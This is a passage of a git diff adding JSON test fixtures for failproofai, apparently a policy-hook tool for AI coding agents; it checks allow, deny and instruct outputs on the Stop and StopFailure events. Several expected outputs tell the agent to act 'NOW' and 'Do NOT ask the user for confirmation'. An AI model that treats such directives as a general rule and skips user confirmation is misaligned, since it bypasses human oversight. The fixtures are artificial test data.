"tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..ae2d913c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f7ba7b41 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..ade033b6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..57904e5e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..bb802cca --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..08c07b08 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"additionalContext\":\"MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..97797394 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..49012005 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4d5d7dc0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f0db9dd8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3bf39793 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e640cbb3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0e7fa4cc --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..73b26a37 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..25ab9fea --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d00b7f86 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..0217b12f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d141d17f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7f22dbee --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ 